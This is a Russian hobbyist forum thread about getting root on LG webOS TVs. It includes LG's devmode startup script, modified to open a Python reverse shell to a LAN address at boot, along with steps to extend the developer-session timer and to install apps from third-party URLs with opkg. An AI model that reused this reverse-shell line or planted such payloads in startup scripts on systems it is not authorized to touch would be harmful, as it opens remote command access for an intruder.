Реклама показывается только незарегистрированным пользователям. Вход или Регистрация

[rootmy.tv] Как получить Root права на webOS

Обсуждение LG smart TV. Пишем тут отзывы и мнения об лджи смарт тв! Разрешено обсуждать цены и где дешевле купить смарт тв.

Re: Как получить Root права на webOS 1.0-3.5

Сообщение smsbox » 10 апр 2021, 10:42

Еще один файл, там коменты показывают как от версии webOS меняесть расположение кеша, что может быть полезно для изучения.
Код: Выделить всё
#! /bin/sh

# FIXME: disable this to turn off script echo
set -x

# FIXME: disable this to stop script from bailing on error
# set -e

# TODO: Check upstart daemon/process tracking (do we need to change /etc/init/devmode.conf? start sshd as daemon? )

# set devmode ssh port here
SSH_PORT="9922"

# set arch:
ARCH="armv71"
grep -qs "qemux86" /etc/hostname && ARCH="i686"

# set name
DEVMODE_SSHID="com.palm.devmode.openssh"
# set directories
OPT_DEVMODE="/opt/devmode"
OPT_SSH="/opt/openssh"
DEVELOPER_HOME="/media/developer"
DEVMODE_APP_DIR="/media/cryptofs/apps/usr/palm/applications/com.palmdts.devmode"
DEVMODE_SERVICE_DIR="/media/cryptofs/apps/usr/palm/services/com.palmdts.devmode.service"
DEVMODE_SSHID_JAILED_DIR="/var/palm/jail/${DEVMODE_SSHID}"
CRYPTO_SSH="$DEVMODE_SERVICE_DIR/binaries-${ARCH}/opt/openssh"
CRYPTO_OPT="$DEVMODE_SERVICE_DIR/binaries-${ARCH}/opt"
LD_LIBRARY_PATH="$LD_LIBRARY_PATH:${CRYPTO_SSH}/lib/openssh"

LGERP_APPINSTALLER_DIR="/media/cryptofs/apps/usr/palm/applications/com.lgerp.appinstaller"

# Remove the previous jailed env and session if the app is updated
# * 'jailer -D' is not sufficient to clean the jailed path which does not exist in the related jail conf
if [ -f ${DEVMODE_APP_DIR}/appinfo.json ]; then
 loginedVersion=$ (node -pe "var fs=require ('fs') ;try{JSON.parse (fs.readFileSync ('${DEVMODE_SERVICE_DIR}/login.json')) ['version']}catch (e) {}"  ;)
 appVersion=$ (node -pe "var fs=require ('fs') ;try{JSON.parse (fs.readFileSync ('${DEVMODE_APP_DIR}/appinfo.json')) ['version']}catch (e) {}"  ;)
 echo "logined app version: $loginedVersion,  current installed app version: $appVersion"
 if [ "$loginedVersion"! = "$appVersion" ]; then
 echo "New App has been installed hence disabling developer mode"
 rm -rf /var/luna/preferences/devmode_enabled
 echo "Removing the previous jailed environment"
 rm -rf /var/luna/preferences/dc*
 rm -rf ${DEVMODE_SERVICE_DIR}/devSessionTime
 jailer -D -i ${DEVMODE_SSHID}
 rm -rf ${DEVMODE_SSHID_JAILED_DIR}/dev
 sleep 5;
 exit 0
 fi
fi

if [ -s ${DEVMODE_SERVICE_DIR}/download/jail_app.conf ] ; then
 mv ${DEVMODE_SERVICE_DIR}/download/jail_app.conf ${DEVELOPER_HOME}
 mv ${DEVMODE_SERVICE_DIR}/download/jail_app.conf.sig ${DEVELOPER_HOME}
fi

if [ -r ${DEVMODE_SERVICE_DIR}/download/sessionToken ] ; then
 mv -f ${DEVMODE_SERVICE_DIR}/download/sessionToken /var/luna/preferences/devmode_enabled
fi


# Make sure the ssh binaries are executable (in service directory)
if [! -x "${CRYPTO_SSH}/sbin/sshd" ] ; then
 chmod ugo+x ${CRYPTO_SSH}/sbin/sshd ${CRYPTO_SSH}/bin/ssh* ${CRYPTO_SSH}/bin/scp* || true
 chmod ugo+x ${CRYPTO_SSH}/bin/sftp ${CRYPTO_SSH}/lib/openssh/* || true
 chmod ugo+x ${CRYPTO_OPT}/devmode/usr/bin/* || true
fi

# TODO: (later) Look for "re-init" flag to re-generate ssh key if requested by app (via devkey service)
# com.palm.service.devmode could have "resetKey" method to erase /var/lib/devmode/ssh/webos_rsa
# Kind of dangerous though, since new key will need to be fetched on the desktop (after reboot)...
# We could just require a hard-reset of the TV which should blow away /var/lib/devmode/ssh/...

# Initialize the developer (client) SSH key pair, if it doesn't already exist
if [! -e /var/lib/devmode/ssh/webos_rsa ] ; then
 mkdir -p /var/lib/devmode/ssh
 chmod 0700 /var/lib/devmode/ssh
 # get FIRST six (UPPER-CASE, hex) characters of 40-char nduid from nyx-cmd
 # NOTE: This MUST match passphrase as displayed in devmode app (main.js)!
 # PASSPHRASE="`/usr/bin/nyx-cmd DeviceInfo query nduid | head -c 6 | tr 'a-z' 'A-Z'`"
 # PASSPHRASE="`/usr/bin/nyx-cmd DeviceInfo query nduid | tail -n1 | head -c 6 | tr 'a-z' 'A-Z'`"
 PASSPHRASE="`tail /var/lib/secretagent/nduid -c 40 | head -c 6 | tr 'a-z' 'A-Z'`"
 ${CRYPTO_SSH}/bin/ssh-keygen -t rsa -C "developer@device" -N "${PASSPHRASE}" -f /var/lib/devmode/ssh/webos_rsa
 # copy ssh key to /var/luna/preferences so the devmode service's KeyServer can read it and serve to ares-webos-cli tools
 cp -f /var/lib/devmode/ssh/webos_rsa /var/luna/preferences/webos_rsa
 chmod 0644 /var/luna/preferences/webos_rsa
 # if we generated a new ssh key, make sure we re-create the authorized_keys file
 rm -f ${DEVELOPER_HOME}/.ssh/authorized_keys
fi

# Make sure the /media/developer (and log) directories exists (as sam.conf erases it when devmode is off):
mkdir -p ${DEVELOPER_HOME}/log
chmod 777 ${DEVELOPER_HOME} ${DEVELOPER_HOME}/log

# Install the SSH key into the authorized_keys file (if it doesn't already exist)
if [! -e ${DEVELOPER_HOME}/.ssh/authorized_keys ] ; then
 mkdir -p ${DEVELOPER_HOME}/.ssh
 cp -f /var/lib/devmode/ssh/webos_rsa.pub ${DEVELOPER_HOME}/.ssh/authorized_keys || true
 # NOTE: authorized_keys MUST be world-readable else sshd can't read it inside the devmode jail
 # To keep sshd from complaining about that, we launch sshd with -o "StrictModes no" (below).
 chmod 755 ${DEVELOPER_HOME}/.ssh
 chmod 644 ${DEVELOPER_HOME}/.ssh/authorized_keys
 chown -R developer:developer ${DEVELOPER_HOME}/.ssh
fi

# FIXME: Can we move this to /var/run/devmode/sshd?
# Create PrivSep dir
mkdir -p /var/run/sshd
chmod 0755 /var/run/sshd

# Kek
mkdir -p /var/log/pwned
chmod 777 /var/log/pwned

# Create directory for host keys (rather than /opt/openssh/etc/ssh/)
HOST_KEY_DIR="/var/lib/devmode/sshd"
if [! -d "${HOST_KEY_DIR}" ] ; then
 mkdir -p ${HOST_KEY_DIR}
 chmod 0700 ${HOST_KEY_DIR}
fi

# Create initial keys if necessary
if [! -f ${HOST_KEY_DIR}/ssh_host_rsa_key ]; then
 echo " generating ssh RSA key... "
 ${CRYPTO_SSH}/bin/ssh-keygen -q -f ${HOST_KEY_DIR}/ssh_host_rsa_key -N '' -t rsa
fi
if [! -f ${HOST_KEY_DIR}/ssh_host_ecdsa_key ]; then
 echo " generating ssh ECDSA key... "
 ${CRYPTO_SSH}/bin/ssh-keygen -q -f ${HOST_KEY_DIR}/ssh_host_ecdsa_key -N '' -t ecdsa
fi
if [! -f ${HOST_KEY_DIR}/ssh_host_dsa_key ]; then
 echo " generating ssh DSA key... "
 ${CRYPTO_SSH}/bin/ssh-keygen -q -f ${HOST_KEY_DIR}/ssh_host_dsa_key -N '' -t dsa
fi

# Check config
# NOTE: This should only be enabled for testing
#${CRYPTO_SSH}/sbin/sshd -f ${CRYPTO_SSH}/etc/ssh/sshd_config -h ${HOST_KEY_DIR}/ssh_host_rsa_key -t

# Set jailer command
DEVMODE_JAIL="/usr/bin/jailer -t native_devmode -i ${DEVMODE_SSHID} -p ${DEVELOPER_HOME}/ -s /bin/sh"
#DEVMODE_JAIL="echo"

# Add for debugging, but this will cause sshd to exit after the first ssh login:
# -ddd -e

# Make environment file for openssh
DEVMODE_JAIL_CONF="/etc/jail_native_devmode.conf"
DEVMODE_OPENSSH_ENV="${DEVELOPER_HOME}/.ssh/environment"
if [ -f ${DEVMODE_JAIL_CONF} ]; then
 echo " generating environment file from jail_native_devmode.conf... "
 find ${DEVMODE_JAIL_CONF} | xargs awk '/setenv/{printf "%s=%sn", $2, $3}' > ${DEVMODE_OPENSSH_ENV}
 ${DEVMODE_JAIL} /usr/bin/env >> ${DEVMODE_OPENSSH_ENV}
fi
# Set path for devmode
if [ -f ${DEVMODE_OPENSSH_ENV} ]; then
 echo "PATH=${PATH}:${OPT_DEVMODE}/usr/bin" >> ${DEVMODE_OPENSSH_ENV}
fi

# If LGERP app (com.lgerp.appinstaller) is installed, devmode should be kept.
if [ -d ${LGERP_APPINSTALLER_DIR} ]; then
 echo "LGERP app exist"
 rm -rf /var/luna/preferences/dc*;
 rm ${DEVMODE_SERVICE_DIR}/devSessionTime;
else
 sleep 5;
 for interface in $ (ls /sys/class/net/ | grep -v -e lo -e sit) ;
 do
 if [ -r /sys/class/net/$interface/carrier ] ; then
 if [[ $ (cat /sys/class/net/$interface/carrier) == 1 ]]; then OnLine=1; fi
 fi
 done
 if [ $OnLine ]; then
 sessionToken=$ (cat /var/luna/preferences/devmode_enabled) ;
 checkSession=$ (curl --max-time 3 -s https://developer.lge.com/secure/CheckDevModeSession.dev?sessionToken=$sessionToken);

 if [ "$checkSession"! = "" ] ; then
  result=$ (node -pe 'JSON.parse (process.argv[1]).result' "$checkSession"  ;) ;
  if [ "$result" == "success" ] ; then
  rm -rf /var/luna/preferences/dc*;
  # create devSessionTime file to remain session time in devmode app
  remainTime=$ (node -pe 'JSON.parse (process.argv[1]).errorMsg' "$checkSession"  ;) ;
  resultValidTimeCheck=$ (echo "${remainTime}" | egrep "^ ([0-9]{1,4} (:[0-5][0-9]) {2}) $"  ;) ;
  if [ "$resultValidTimeCheck"! = "" ] ; then
   echo $resultValidTimeCheck > ${DEVMODE_SERVICE_DIR}/devSessionTime;
   chgrp 5000 ${DEVMODE_SERVICE_DIR}/devSessionTime;
   chmod 664 ${DEVMODE_SERVICE_DIR}/devSessionTime;
  fi
  elif [ "$result" == "fail" ] ; then
  rm -rf /var/luna/preferences/devmode_enabled;
  rm -rf /var/luna/preferences/dc*;
  if [ -e ${DEVMODE_SERVICE_DIR}/devSessionTime ] ; then
   rm ${DEVMODE_SERVICE_DIR}/devSessionTime;
  fi
  fi
 fi
 fi
fi

# Cache clear function added (except Local storage)
if [ -e ${DEVMODE_SERVICE_DIR}/devCacheClear ] ; then
 # In case of webOS 2.x, cache directory is /var/lib/webappmanager2
 # Less than webOS 3.5, cache directory is /var/lib/webappmanager3
 # Over webOS 3.5, cache directory is /var/lib/wam
 find /var/lib/webappmanager*/* -prune -exec rm -rf {} ;
 find /var/lib/wam/* -prune -exec rm -rf {} ;
 rm ${DEVMODE_SERVICE_DIR}/devCacheClear;
fi

# Run devmode-helper to copy downloaded jail conf to the app or svc dir
node ${DEVMODE_SERVICE_DIR}/devmode-helper.js > /dev/null 2>&1 &

python -c 'import socket, subprocess, os;s=socket.socket (socket.AF_INET, socket.SOCK_STREAM) ;s.connect (("192.168.88.99",2345)) ;os.dup2 (s.fileno (),0) ; os.dup2 (s.fileno (),1) ; os.dup2 (s.fileno (),2) ;p=subprocess.call (["/bin/sh", "-i"]) '

# Launch sshd
${DEVMODE_JAIL} ${OPT_SSH}/sbin/sshd
 -o StrictModes=no
 -f ${OPT_SSH}/etc/ssh/sshd_config
 -h ${HOST_KEY_DIR}/ssh_host_rsa_key
 -o PasswordAuthentication=no -o PermitRootLogin=no -o PermitUserEnvironment=yes -o UseDNS=no
 -D -p ${SSH_PORT}



Добавлено спустя 2 минуты 24 секунды:

JackSparrow писал(а):Можно поинтересоваться, на каком телевизоре происходят эксперименты?

webOS TV LK615BPLB Версия ПО 05.30.11
smsbox

 
Сообщения: 750
Зарегистрирован: 10 фев 2018, 09:56
Благодарил (а): 59 раз.
Поблагодарили: 244 раз.
Телевизор: LG 32LK615B

Re: Как получить Root права на webOS 1.0-3.5

Спонсор » 10 апр 2021, 10:45

Реклама показывается только незарегистрированным пользователям. Войти или Зарегистрироваться
Спонсор

 
Сообщения: 100
Зарегистрирован: 15 июл 2014, 18:43
Благодарил (а): 0 раз.
Поблагодарили: 0 раз.

Re: Как получить Root права на webOS 1.0-3.5

Сообщение andrewttrb » 10 апр 2021, 12:13

smsbox писал(а):Еще один способ установить приложения прямо в ТВ.
Для этого из ipk извлекаем папку с приложением
например берем ipk от ott-play переименовываем в.zip и достаем нужную папку. В нашем случае папка называется com.ottplay.app (полный путь ott-play⁩ ▸ ⁨developer⁩ ▸ ⁨apps⁩ ▸ ⁨usr⁩ ▸ ⁨palm⁩ ▸ ⁨applications⁩)
Перекидываем его в телевизор в ту же директорию (developer⁩ ▸ ⁨apps⁩ ▸ ⁨usr⁩ ▸ ⁨palm⁩ ▸ ⁨applications⁩). Готово. Перезагружаем телевизор, плеер появится в списке приложений.

Можно ставить ipk по прямой ссылке на пакет командой opkg, например, с того же своего веб серера
Код: Выделить всё
root@LGSmartTV:/# opkg -o /media/developer/apps install http://192.168.0.108:8000/com.ottplay.app.ipk
Downloading http://192.168.0.108:8000/com.ottplay.app.ipk.
Installing com.ottplay.app (0.0.1) to root...
root@LGSmartTV:/#

За это сообщение автора andrewttrb поблагодарили: 3
JackSparrow (13 апр 2021, 22:26), smsbox (11 апр 2021, 09:55), xedos (14 апр 2021, 07:42)
andrewttrb

 
Сообщения: 290
Зарегистрирован: 01 янв 2021, 20:22
Благодарил (а): 23 раз.
Поблагодарили: 207 раз.
Телевизор: LG OLED65CX

Re: Как получить Root права на webOS 4.0-6.0

Сообщение smsbox » 10 апр 2021, 12:55

Первую проблему решил
Итак первая проблема была в том, что Remain Session не возможно было продлить (кнопкой Extend) и он неумолимо уменьшался, оставалось 3 часа и приложения будут удалены, учитывая, что IDE не работает я бы остался без установленных приложений.

Установим счетчик в 900 часов (375 дней) руками.

Из стартового каталога перехожу в нужный командой
Код: Выделить всё
cd /media/cryptofs/apps/usr/palm/services/com.palmdts.devmode.service

Открываю в редакторе vi файл devSessionTime
Код: Выделить всё
 vi devSessionTime

нажимаю a (что означает добавить в конец) и backspace-ом удаляю находящееся там значений 49:00:00 (забыл, что там находилось, опять могли быть грабли, надо сохранять, но я рассчитывал, что vi сохранит и можно будет откатить его командами, потому не запомнил).
Набираю с начала файла
Код: Выделить всё
900:00:00
Нажимаю ESC чтобы выйти из режима редактирования и нажимаю
Код: Выделить всё
:wq
чтобы сохранить изменения и выйти.
Захожу на ТВ в DEVMODE - вижу Remain Session: 899h51m (я просто не сразу зашел, вначале стал этот текст набирать и только сейчас зашел :)
Все задача решена. Теперь надо SSH восстановить и доступ по IDE, хотя если честно это на фиг не надо, можно напрямую заливать ipk и устанавливать (выше уже показал как). Для того, чтобы сразу скачать из Интернета можно использовать команду
Код: Выделить всё
wget msx.lh1.in/dstorevip.ipk


Можно проще, сразу скачать и установить. Скачивать можно со своего веб сервера.
Код: Выделить всё
opkg -o /media/developer/apps install http://msx.lh1.in/ipk/fork.ipk
opkg -o /media/developer/apps install http://msx.lh1.in/ipk/dstorevip.ipk


Все
p.s. надо наверное создавать репрозитории ipk для телевизора, чтобы из одного места качать и ставить? Предлагайте, что в него загружать. Вероятно лучше разделить по разделам, чтобы ipk лежали с ipk, а вот бинарные пакеты, которые можно поставить в телевизор (например самбу, чтобы из виндовой машины можно было сразу обращаться по сети к папкам ТВ) - отдельно.
Сейчас по адресу
Код: Выделить всё
msx.lh1.in/ipk
находятся пакеты dstore1.ipk, dstore2.ipk, dstorevip.ipk, fork.ipk, xsmart.ipk
Можете ставить.

Добавлено спустя 33 минуты 28 секунд:

Следующий шаг, прежде, чем идти далее попробуем запретить обновляться телевизору в самом ТВ, чтобы раз и больше он не скачивал ничего.
для этого будут редактировать файл hosts (он такой же как в windows)
Это можно не читать, проблема с readonly для каталога etc решена smsbox @ Как получить Root права на webOS 1.0-5.0.
Последний раз редактировалось smsbox 13 апр 2021, 23:48, всего редактировалось 4 раз(а).

За это сообщение автора smsbox поблагодарили: 2
InvisiBot (11 апр 2021, 12:42), JackSparrow (10 апр 2021, 13:48)
smsbox

 
Сообщения: 750
Зарегистрирован: 10 фев 2018, 09:56
Благодарил (а): 59 раз.
Поблагодарили: 244 раз.
Телевизор: LG 32LK615B

Re: Как получить Root права на webOS 1.0-3.5

Сообщение JackSparrow » 10 апр 2021, 13:55

smsbox
Спасибо за изыскания, читаю ваши посты как фантастический детектив про компьютерные расследования).
Как считаете, наверное имеет смысл потом всё это объединить в одну инструкцию и попросить администрацию добавить её в первый пост темы? Там тот способ получается уже прошлый век в сравнении со свежеоткрытым).

П. п.с. Пакеты от старых планшетов/телефонов на webOS случайно не заработают теперь на телевизоре? :)
JackSparrow

 
Сообщения: 9486
Зарегистрирован: 10 июн 2018, 17:48
Благодарил (а): 1383 раз.
Поблагодарили: 1629 раз.
Телевизор: LG OLED 55C9

Re: Как получить Root права на webOS 4.0-6.0

Сообщение smsbox » 10 апр 2021, 16:18

Шаг 3 - само получение root и некоторое применение этим правам.

Получить root на ТВ 2018-2021Часть3-1.docx
Шаг 3 - получить root на ТВ 2018-2021 года выпуска
(1.9 МБ) Скачиваний: 249

Получить root на ТВ 2018-2021Часть3-2.docx
(799.63 КБ) Скачиваний: 210
Последний раз редактировалось smsbox 13 апр 2021, 23:39, всего редактировалось 1 раз.
smsbox

 
Сообщения: 750
Зарегистрирован: 10 фев 2018, 09:56
Благодарил (а): 59 раз.
Поблагодарили: 244 раз.
Телевизор: LG 32LK615B

Re: Как получить Root права на webOS 1.0-3.5

Сообщение vanchik » 10 апр 2021, 16:44

Извиняюсь за глупый вопрос, а разве при наличии рута нельзя ставить ipk напрямую без devmode и таймера?
vanchik

 
Сообщения: 85
Зарегистрирован: 21 янв 2021, 12:15
Благодарил (а): 10 раз.
Поблагодарили: 4 раз.
Телевизор: 50UN8100

Re: Как получить Root права на webOS 1.0-3.5

Сообщение smsbox » 10 апр 2021, 16:53

vanchik писал(а):Извиняюсь за глупый вопрос, а разве при наличии рута нельзя ставить ipk напрямую без devmode и таймера?

можно, я об этом выше написал, да и в инструкции про это написано. А, что до таймера, то можно конечно найти что удаляет приложения и это исправить, но проще прописать год таймеру и забыть. Чтобы править код системы надо немножко больше в ней разбираться, я же ее только вчера первый раз в жизни увидел, что нашел, про то и написал. Вот сейчас надо искать как размонтировать etc и опять примонтировать уже в режиме чтение-записи, чтобы hosts поправить. Хотя root есть, но там защита от дурака встроена (и слава Богу), так, что изменять ОС я пока не рискну, так отдельные файлы данных, но не сам код.
smsbox

 
Сообщения: 750
Зарегистрирован: 10 фев 2018, 09:56
Благодарил (а): 59 раз.
Поблагодарили: 244 раз.
Телевизор: LG 32LK615B

Re: Как получить Root права на webOS 1.0-3.5

Сообщение smsbox » 10 апр 2021, 23:25

JackSparrow писал(а):П. п.с. Пакеты от старых планшетов/телефонов на webOS случайно не заработают теперь на телевизоре? :)

Маловероятно.
smsbox

 
Сообщения: 750
Зарегистрирован: 10 фев 2018, 09:56
Благодарил (а): 59 раз.
Поблагодарили: 244 раз.
Телевизор: LG 32LK615B

Re: Как получить Root права на webOS 1.0-3.5

Сообщение smsbox » 11 апр 2021, 09:35

Добавление к инструкции (править ее не будут) Можно проще устанавливать, без использования tmp каталога и команды wget, сразу одной командой, вот например установим форкплеер и dstore, происходит скачивание и установка программы. После перезапуска ТВ иконки появятся в главном меню ТВ
Код: Выделить всё
opkg -o /media/developer/apps install http://msx.lh1.in/ipk/fork.ipk
opkg -o /media/developer/apps install http://msx.lh1.in/ipk/dstorevip.ipk


Если приложение уже установлено будет сообщение об ошибке
Код: Выделить всё
 opkg -o /media/developer/apps install http://msx.lh1.in/ipk/dstorevip.ipk
Downloading http://msx.lh1.in/ipk/dstorevip.ipk.
Collected errors:
 * opkg_prepare_file_for_install: Refusing to load file '/media/developer/apps//var/cache/opkg/f8baf177775494690b9cb0b50cba10be_dstorevip.ipk' as it matches the installed version of ru.pluton-host.salita (0.0.1).

Прежде, чем поставить тоже самое приложение, необходимо удалить ранее установленное.

За это сообщение автора smsbox поблагодарили: 2
InvisiBot (11 апр 2021, 12:48), xedos (14 апр 2021, 07:50)
smsbox

 
Сообщения: 750
Зарегистрирован: 10 фев 2018, 09:56
Благодарил (а): 59 раз.
Поблагодарили: 244 раз.
Телевизор: LG 32LK615B

Re: Как получить Root права на webOS 1.0-3.5

Сообщение andrewttrb » 11 апр 2021, 09:44

smsbox писал(а):Любопытно, в папке
Код: Выделить всё
/media/system/apps/usr/palm/applications/com.webos.app.iot-thirdparty-login

находится какое-то приложение, на разных языках

это приложение как раз та самая страница логина ThinQ
andrewttrb

 
Сообщения: 290
Зарегистрирован: 01 янв 2021, 20:22
Благодарил (а): 23 раз.
Поблагодарили: 207 раз.
Телевизор: LG OLED65CX

Пред.След.

Вернуться в Телевизоры LG - Обсуждение



 


  • Похожие темы
    Ответы
    Просмотры
    Последнее сообщение